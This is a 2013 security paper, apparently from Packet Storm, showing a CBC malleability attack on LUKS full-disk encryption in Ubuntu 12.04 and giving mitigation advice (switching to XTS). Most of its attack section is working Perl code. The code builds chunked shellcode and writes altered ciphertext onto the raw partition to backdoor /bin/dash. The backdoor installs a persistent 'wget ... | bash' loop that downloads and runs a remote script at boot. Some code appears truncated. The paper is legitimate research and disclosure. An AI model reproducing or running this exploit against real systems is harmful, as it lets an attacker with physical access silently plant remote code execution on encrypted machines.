Twenty Year Anniversary

Practical Malleability Attack Against CBC Encrypted LUKS Partition

Practical Malleability Attack Against CBC Encrypted LUKS Partition
Posted Dec 23, 2013
Authored by Jakob Lell | Site

The most popular full disk encryption solution for Linux is LUKS (Linux Unified Key Setup), which provides an easy to use encryption layer for block devices. By default, newly generated LUKS devices are set up with 256-bit AES in CBC mode. Since there is no integrity protection/checksum, it is obviously possible to destroy parts of plaintext files by changing the corresponding ciphertext blocks. Nevertheless many users expect the encryption to make sure that an attacker can only change the plaintext to an unpredictable random value. The CBC mode used by default in LUKS however allows some more targeted manipulation of the plaintext file given that the attacker knows the original plaintext. This article demonstrates how this can be used to inject a full remote code execution backdoor into an encrypted installation of Ubuntu 12.04 created by the alternate installer (the default installer of Ubuntu 12.04 doesn't allow setting up full disk encryption).

tags | paper, remote, code execution
systems | linux, ubuntu
MD5 | 9b73312d8a308af58b64ba5a156212b6

Practical Malleability Attack Against CBC Encrypted LUKS Partition

Change Mirror Download
Article location:

I. Abstract

The most popular full disk encryption solution for Linux is LUKS (Linux
Unified Key Setup), which provides an easy to use encryption layer for
block devices. By default, newly generated LUKS devices are set up with
256-bit AES in CBC mode. Since there is no integrity
protection/checksum, it is obviously possible to destroy parts of
plaintext files by changing the corresponding ciphertext blocks.
Nevertheless many users expect the encryption to make sure that an
attacker can only change the plaintext to an unpredictable random value.
The CBC mode used by default in LUKS however allows some more targeted
manipulation of the plaintext file given that the attacker knows the
original plaintext. This article demonstrates how this can be used to
inject a full remote code execution backdoor into an encrypted
installation of Ubuntu 12.04 created by the alternate installer (the
default installer of Ubuntu 12.04 doesn't allow setting up full disk

II. Attack scenario

One basic problem of full disk encryption is that there must be some
kind of software asking the user for the passphrase. This software can't
be encrypted as well since it must be started before the user enters the
passphrase and thus before the encrypted partition is opened. For Linux
systems encrypted with LUKS, the bootloader and the partition /boot
(which contains the kernel and initrd) are typically not encrypted.
Given physical access to the system an attacker can easily modify the
initrd so that it logs the key and sends it to the attacker or even
installs a rootkit after mounting the encrypted filesystem. This attack
is known as evil maid attack and it has been demonstrated against
Truecrypt [1].

Some users try to prevent this attack by booting the system from a
bootable USB stick containing the components required to boot the
encrypted system on the hard disk. This allows removing the USB stick
and physically guard it against unauthorized manipulation while leaving
the computer with the encrypted root filesystem unattended. An attacker
having physical access to the computer can then only access the
encrypted disk on the computer. Given this physical access, it is
obviously possible to destroy data but many users expect the encryption
to prevent targeted manipulation of encrypted files. So they assume that
the system is still secure when booting it from an unmanipulated USB
stick as long as there is no hardware manipulation (such as a hardware
keylogger or a reflashed BIOS).

Even if the kernel/initrd/bootloader are stored on the system itself,
the user may have reason to believe that someone has installed a
backdoor to the unencrypted initrd on the /boot partition. This may be
the case e.g. when the user gets the computer back after it had been
stolen, confiscated by law enforcement or after a suspicious customs
inspection. In that case, the user might try to clean up the computer by
mounting the encrypted filesystem from a trusted live cd and then
reinstalling the /boot partition with kernel/initrd and the bootloader.
Many users expect that data on the encrypted partition may be damaged
but they believe it is impossible to do a more targeted attack such as
placing a rootkit on it without knowing the encryption key. The
following section shows that this assumption is not valid and that it is
in fact possible to add a full remote code execution backdoor to the
encrypted partition without knowing the encryption key.

III. Description of CBC malleability attack

It has already been known for a long time that CBC does not prevent a
malleability attack (targeted manipulation of encrypted data) given that
the attacker can modify the ciphertext and knows the corresponding
plaintext as well. Since many files on an encrypted computer such as OS
components aren't actually secret and can easily be downloaded from the
Internet, an attacker can easily gain access to parts of the plaintext
of an encrypted system disk. This section shows how the manipulation is
done on a theoretical level while section IV shows the technical details
of how to implement the attack against a real-world installation of
Ubuntu 12.04.

The following picture (from Wikipedia) shows the process of decrypting
data with CBC:

In the following I assume that we already have access to the original
plaintext and the ciphertext of one file on the system and that we want
to do our manipulations in this file:

p_i: Original plaintext block i
c_i: Ciphertext block i
x_i: Shellcode chunk we want to inject to block i

Let's assume we want to manipulate the contents of block i of the
ciphertext. Since we already know the plaintext of block i and the
ciphertext of block i and block (i-1), we can use the following equation
to calculate DEC(c_i,key):
p_i = DEC(c_i,key) XOR c_{i-1}
DEC(c_i,key) = c_{i-1} XOR p_i

Since we know DEC(c_i,key), we can use the equation above to manipulate
the ciphertext block c_{i-1} so that p_i = x_i:
c_{i-1} = DEC(c_i,key) XOR x_i

Putting this back to the decryption equation:
p_i = DEC(c_i,key) XOR c_{i-1} = DEC(c_i,key) XOR DEC(c_i,key) XOR x_i = x_i

However, as this attack involves changing the previous ciphertext block,
the previous plaintext block will also be changed to a random (and
unpredictable) value. We can use this technique to change every 2nd
plaintext block in a sector to anything we want to while destroying the
blocks between the manipulated blocks. Given a blocksize of 16 bytes
(128 bits) this does allow injecting more or less arbitrary shellcode to
an executable file by dividing the shellcode to small chunks and adding
JMP instructions to jump over the garbage blocks.

IV. Technical considerations and practical attack against Ubuntu 12.04

1. Choice of system for demonstration

I have decided to demonstrate the attack with an Ubuntu 12.04 amd64
system with LUKS encryption, LVM (Logical Volume Manager) and an ext4
filesystem as set up by the alternate installation CD provided by
Ubuntu. I have done the installation in a Virtualbox VM with 1024 Mb Ram
and an 8 Gb simulated hard disk.

2. Filesystem considerations

For implementing the attack, we need to know the exact position of the
file we want to modify on the physical hard disk. Finding the location
of the data blocks of a file in a given ext4 filesystem is possible with
the following command:

# debugfs -R "dump_extents /bin/dash" /dev/mapper/ubuntu-root
Level Entries Logical Physical Length Flags
0/ 0 1/ 1 0 - 26 42048 - 42074 27

This output shows that the data of /bin/dash is located in the blocks
42048-42074 of the device /dev/mapper/ubuntu-root. These block numbers
can be multiplied with the block size of the filesystem (in this case
4k) to get the actual byte position of the file on the device.

Experiments have shown that the first files copied to the filesystem
during the installation process typically end up at the same block
position on the device. So an attacker can predict the position of a
file by doing a reference installation with the same installation media
on a sufficiently similar system and looking up the position of the file
on this reference installation. For some reason the physical position of
files written later in the installation process isn't fully predictable
and varies between multiple installations. Since a newly created ext4
filesystem allocates the space for files in a roughly sequential order,
we can just sort all files by the position on the filesystem in order to
find the files written early in the installation process:

#! /usr/bin/perl

use warnings;

my %files; # Filename => First physical block

open FIND,"-|","find","/","-xdev","-type","f";
open FH,"> /tmp/debugfs_commands.txt";
print FH "dump_extents $_";
open DEBUGFS,"-|","debugfs","-f","/tmp/debugfs_commands.txt","/dev/sda1";
my $file;
$file = $1 if(/dump_extents\s+(\S+)$/);
next unless defined $file;
next unless
my($logicalStart,$logicalEnd,$physicalStart,$physicalEnd) =
$files{$file} = $physicalStart;
$file = undef;

for my $file (sort {$files{$a} <=> $files{$b}} keys %files){
printf("%10d: %s\n",$files{$file},$file);

3. Calculating physical location from filesystem block through LVM and LUKS

The default LVM installation done when choosing to set up an encrypted
LVM in the Ubuntu 12.04 alternate installer sets up a LVM physical
volume with two logical volumes for the root filesystem and swap. The
first logical volume is the root filesystem and it starts directly after
the PV (physical volume) header. The following command displays the size
of the PV header in sectors (in that respect the sector size is always
512 bytes even if the hard disk has a physical sector size of 4 KiB):

# grep -a -m1 pe_start /dev/mapper/sda5_crypt
pe_start = 384

The actual start of the first logical volume is located at sector 384
(192 KiB) for an installation done with the Ubuntu 12.04 alternate
installer. This is the position within the LUKS volume where the ext4
filesystem starts.

The LUKS encryption also adds a header at the beginning of the encrypted
partition. For the version of cryptsetup included with Ubuntu 12.04 the
LUKS header has a size of 4096 sectors (2 Mib). This means that we have
to add another offset of 4096*512 bytes to get the position in the
physical partition (/dev/sda5). In total we have to add 4096*512 +
384*512 bytes to the position within the filesystem obtained with
debugfs to get the location in the actual partition.

4. Choice of file to modify

For a reliable attack we have to choose a file which is written at an
early state in the installation process so that we can reliably predict
the blocks the file is written to. Since we want to inject code, the
file must contain some kind of executable code (either script or binary)
which is actually executed e.g. during system startup so that we get our
injected code executed.

Since the attack vector only allows choosing every 2nd 16 bytes block
while the other blocks between are replaced with (unpredictable)
garbage, our modifications will create some kind of damage to the file.
Given sufficient effort it may be possible to repair the damage by
replicating the damaged/overwritten code in unused parts within the
file. However, carrying out the attack is significantly easier if we
find a file which is run during system startup and we can replace the
functionality of the file by other programs available on the system.

For the demonstration of this attack I have chosen the file /bin/dash,
which is the default shell of Ubuntu 12.04. Since the manipulation does
destroy the functionality of /bin/dash, I have chosen to restore the
original functionality using /bin/bash. The file /bin/dash is also
written in a relatively early state of the system installation with the
Ubuntu 12.04 alternate installer so that the position can be reliably
predicted. Moreover, there haven't been any updates to dash since the
initial release of Ubuntu 12.04 and so the dash binary is still at the
original position even if the user has installed all updates from Ubuntu

5. Details of the manipulation

I have decided to inject code at the position of the main() function of
/bin/dash, which is located at address 0x402090 or position 0x2090 in
the file /bin/dash. This makes sure that the injected code is actually
executed and it also allows easy access to the argv and envp pointer,
which are passed as argument to main(). Since the initialization code
(start address of the ELF header) is located shortly after the main()
function (address 0x40224c) and the exploit doesn't fit in the space
between, I have chosen to overwrite main() with a single jmp instruction
to a place later in the binary, which isn't required for the program

The exploit replaces the functionality of /bin/dash with the following
equivalent C code:

int main(int argc,char**argv,char**envp){
char* bash_argv[] = {"bash","-c","(echo 'nohup bash -c \"until wget
-q -O -|bash;do sleep 30;done\"
&'>>/etc/init.d/rc.local)2>/dev/null && ln -sf /bin/bash /bin/sh",0};
if(fork() == 0){ // child process, start exploit
} else{ // parent process, run bash and pass all arguments

When the modified dash shell is executed, it tries to append a line to
the file /etc/init.d/rc.local, which is the init script responsible for
running /etc/rc.local at the end of the boot process. If it succeeds (it
may not succeed the first time because the root filesystem is mounted
read-only in the beginning of the boot process), it changes the /bin/sh
symlink from dash to bash, so that the system uses bash instead of the
modified dash for executing shell scripts from then on.

I have choosen to write the code to /etc/init.d/rc.local instead of
/etc/rc.local (which is the recommeded way of adding local scripts which
should be run after bootup) because the default /etc/rc.local contains
the line "exit 0" at the end and so an appended command wouldn't be
executed. The appended line tries to download and execute a shell script
from the Internet every 30 seconds until it succeeds.

The following code creates the shellcode as an ELF object file:

#! /usr/bin/perl

# File to patch: /bin/dash, SHA256
# main() at address 0x402090 => File pos 0x2090
# execve@plt at address 0x401d70 => File pos 0x1d70
# fork@plt at address 0x402030 => File pos 0x2030

use warnings;

open OUT,"> shellcode.S";
print OUT ".balign 16\n";
print OUT ".ascii \" SHELLCODE_START\"\n";
print OUT ".global shellcode1\n";
print OUT "shellcode1:\n";
# Position of main(), just insert a jump to the actual shellcode location
my $posInFile = 0x2090;
print OUT "jmp shellcode2\n";
$posInFile += 5;
# Add NOP statements until we reach the correct position for the actual
while($posInFile < 0xaa40){
print OUT "nop\n";
$posInFile ++;
print OUT "shellcode2:\n";

my $nextShellcodeNum = 3;

# Allocate a stack frame for the required variables
addInstruction("mov %rsp,%rbp");
addInstruction('sub $100,%rsp');
# Save argv and envp
addInstruction("mov %rsi,-100(%rbp)"); # argv
addInstruction("mov %rdx,-92(%rbp)"); # envp
call(0x2030); # call fork()
# Jump to label CHILD if fork() returned 0
addInstruction('cmp $0x0,%rax');
addInstruction("je CHILD",2);
# This code is run in the parent process, call
execve("/bin/bash",argv,envp) so that the shell invocation works as expected
addInstruction("push %rsp");
addInstruction("pop %rdi");
addInstruction("mov -100(%rbp),%rsi"); # argv
addInstruction("mov -92(%rbp),%rdx"); # envp
call(0x1d70); # execve("/bin/bash",argv,envp);
# This code is run in the child process:
# execve("/bin/bash",["bash","-c","(echo 'nohup bash -c \"until wget -q
-O -|bash;do sleep 30;done\"
&'>>/etc/init.d/rc.local)2>/dev/null && ln -sf /bin/bash /bin/sh"],envp)
# Create argv array at -84(%rbp) in our stack frame
addInstruction("mov %rsp,-84(%rbp)");
addInstruction("mov %rsp,-76(%rbp)");
pushString(qq{(echo 'nohup bash -c "until wget -q -O -|bash;do sleep 30;done"
&'>>/etc/init.d/rc.local)2>/dev/null && ln -sf /bin/bash /bin/sh});
addInstruction("mov %rsp,-68(%rbp)");
addInstruction('movq $0,-60(%rbp)');
# First argument to execve (filename)
addInstruction("push %rsp");
addInstruction("pop %rdi");
addInstruction("lea -84(%rbp),%rsi"); # argv
addInstruction("mov -92(%rbp),%rdx"); # envp
call(0x1d70); # call execve
print OUT ".balign 16\n";
print OUT ".ascii \"SHELLCODE_END\"\n";
system("gcc -c shellcode.S");
die "Compiling shellcode failed" unless $?==0;

# Create a call instruction to a given position in the /bin/dash file,
used for calling fork@plt and execve@plt
sub call{
my($dstPos) = @_;
my $nextInstPos = $posInFile + 5; # Position after this call
my $offset = ($dstPos - $nextInstPos);
my $binary = "\xe8" . pack("V",$offset);
my $asm = ".byte " . join(",",map(ord,split("",$binary)));

# Writes a given string on the stack using a sequence of push instructions
sub pushString{
my($str) = @_;
$str .= "\0";
$str .= " " while(length($str) % 8 != 0);
for(my $i=length($str)-8;$i>=0;$i-=8){
my $instruction = "movabs \$0x";
for(my $j=7;$j>=0;$j--){
$instruction .= unpack("H*",substr($str,$i+$j,1));
$instruction .= ", %rbx";
addInstruction("push %rbx",1);

# Adds an instruction to the shellcode. If the instruction doesn't fit
to the current chunk,
# it creates the next chunk and a jmp instruction to it automatically.
# The parameter $len gives the length of the binary instruction. If it
isn't given, the
# length is calculated using getInstructionLength()
sub addInstruction{
my($asm,$len) = @_;
$len = getInstructionLength($asm);
if(($posInFile % 16) + $len >= 14){
while(($posInFile % 16) < 14){
print OUT " NOP\n";
$posInFile ++;
print OUT " jmp shellcode$nextShellcodeNum\n";
$posInFile += 2;
print OUT " NOP\n";
$posInFile += 1;
while($posInFile % 16 != 0){
print OUT " NOP\n";
$posInFile ++;
if($posInFile % 512 == 0){
# The first 16 bytes of a block can't be manipulated because
there is no previous ciphertext block you can manipulate
# So let's start with the next block in the file
print OUT " NOP\n";
$posInFile ++;
print OUT "shellcode$nextShellcodeNum:\n";
print OUT " $asm\n";
$posInFile += $len;

# Calculates the instruction length of a given instruction by writing it
to an assembler file,
# compiling it and then extracting the length from the generated object file
sub getInstructionLength{
my($asm) = @_;
open FH,"> instructionlength.S";
print FH ".ascii \" SHELLCODE_START\"\n";
print FH $asm,"\n";
print FH ".ascii \"SHELLCODE_END\"\n";
close FH;
system("gcc -c instructionlength.S");
open FH,"< instructionlength.o" or die $!;
my $buf;
return length($1);

And the following program does the actual malleability attack on the
encrypted partition:

#! /usr/bin/perl

use warnings;

# Standard ext4 block size, may be 1024 or 2048 for small filesystems
# dumpe2fs -h /dev/sda1|grep "Block size"
my $blockSize = 4096;
my $device = "/dev/sda5"; # Device of the LUKS partition
my $plaintextFile = "dash";
open FH,"< $plaintextFile" or die "Can't open $plaintextFile: $!";
my $plaintextData;
my $shellcodeElf = "shellcode.o"; # generated using

# cryptsetup luksDump /dev/sda5|grep Payload
my $luksOffset = 4096*512;
# grep -a -m1 pe_start /dev/mapper/sda5_crypt
my $lvmOffset = 384*512;
# debugfs -R "dump_extents /bin/dash" /dev/mapper/ubuntu-root
my $filePosOnFs = 42048 * $blockSize;

# Position of main() in /bin/dash, label shellcode1 will be mapped to
this position
my $targetPosOffset = 0x2090;

# Read all shellcode chunks into @patches array
my @patches;
open FH,"< $shellcodeElf" or die $!;
my $shellcodeData;
my $shellcodeStartInElf = index($shellcodeData," SHELLCODE_START");
open NM,"-|","nm","--numeric-sort",$shellcodeElf or die $!;
my $shellcode1Pos;
next unless my($addr,$patchNum) = /^([0-9a-f]+).*shellcode(\d+)/;
# Position of shellcode chunk in shellcode.o
my $posInShellcodeElf = hex($addr) + $shellcodeStartInElf;
my $shellcodeChunk = substr($shellcodeData,$posInShellcodeElf,16);
# Position of shellcode1 label in shellcode.o
# shellcode1 is the first label in nm output due to --numeric-sort
$shellcode1Pos = $posInShellcodeElf unless defined $shellcode1Pos;
my $targetPos = $targetPosOffset + $posInShellcodeElf - $shellcode1Pos;
push @patches, {POS => $targetPos, DATA => $shellcodeChunk};

# Apply all shellcode chunks from @patches to actual device

open FH,"+<",$device or die "Can't open $device: $!";
for my $patch(@patches){
my $patchPos = $patch->{POS};
if($patchPos % 512 == 0){
die "Can't patch at start of block (pos=$patchPos)\n";
my $shellcodeChunk = $patch->{DATA};
die "Length of chunk at $patchPos must be 16 bytes"
if(length($shellcodeChunk) != 16);
my $originalPlaintext = substr($plaintextData,$patchPos,16);
print "=" x 100,"\n";
# Calculate the position of this shellcode chunk on the partition
my $devicePos = $filePosOnFs + $patchPos + $luksOffset + $lvmOffset;
print "DEVICE_POS: $devicePos\n";
# The previous ciphertext block is located at $devicePos-16
my $previousCiphertext;
# The plaintext to the actual aes encryption of the block we want
to modify
my $aesPlaintext = $originalPlaintext ^ $previousCiphertext;
print "AES_PLAINTEXT:\n"; hd($aesPlaintext);
my $newPreviousCiphertext = $aesPlaintext ^ $shellcodeChunk;
# Modify previous ciphertext block at $devicePos - 16
seek(FH,$devicePos - 16,0);
print FH $newPreviousCiphertext;

# Pipe the binary data given as argument to the hd (hexdump) utility
sub hd{
open HD,"|hd";print HD @_;close HD;

This code can be executed from a Live CD against the encrypted partition
of an Ubuntu 12.04 installation. The position of the /bin/dash file
needs to be adjusted by doing a reference installation with the same
disk layout on a sufficiently similar hardware. After the next reboot of
the manipulated Ubuntu system, it will download and execute a shell
script from .

V. Solution

This attack can be prevented by switching from CBC to another, more
secure mode of operation such as XTS (XEX-based tweaked-codebook mode
with ciphertext stealing) [2]. When choosing to encrypt the system with
the Ubuntu 12.10 installer, the encryption is set up with mode
aes-xts-plain64, which is not vulnerable to this attack. Existing
systems with full disk encryption which have been installed with Ubuntu
12.04 or earlier are still potentially vulnerable to this attack. While
it is possible to reencrypt an existing system with
cryptsetup-reencrypt, this is a relatively dangerous operation since a
hardware failure or power loss during the reencryption will lead to data

If you don't know whether a given LUKS partition uses CBC or XTS, you
can get the mode of operation using the following command:

# cryptsetup luksDump /dev/sda5|grep Cipher
Cipher name: aes
Cipher mode: cbc-essiv:sha256

When manually creating LUKS partitions, you should make sure to use XTS
instead of CBC (which is still the default when running cryptsetup
luksFormat without a cipher specification):

cryptsetup luksFormat --cipher aes-xts-plain64 /dev/sdX

However, even if this attack is prevented by using XTS, the lack of
checksums of LUKS still allows (targeted) data destruction by
selectively overwriting some blocks of the encrypted disk. This may be
used e.g. to disable security features such as AppArmor, the screensaver
(with screen locking) or the firewall of the system.

VI. References



RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    10 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2018 Packet Storm. All rights reserved.

Security Services
Hosting By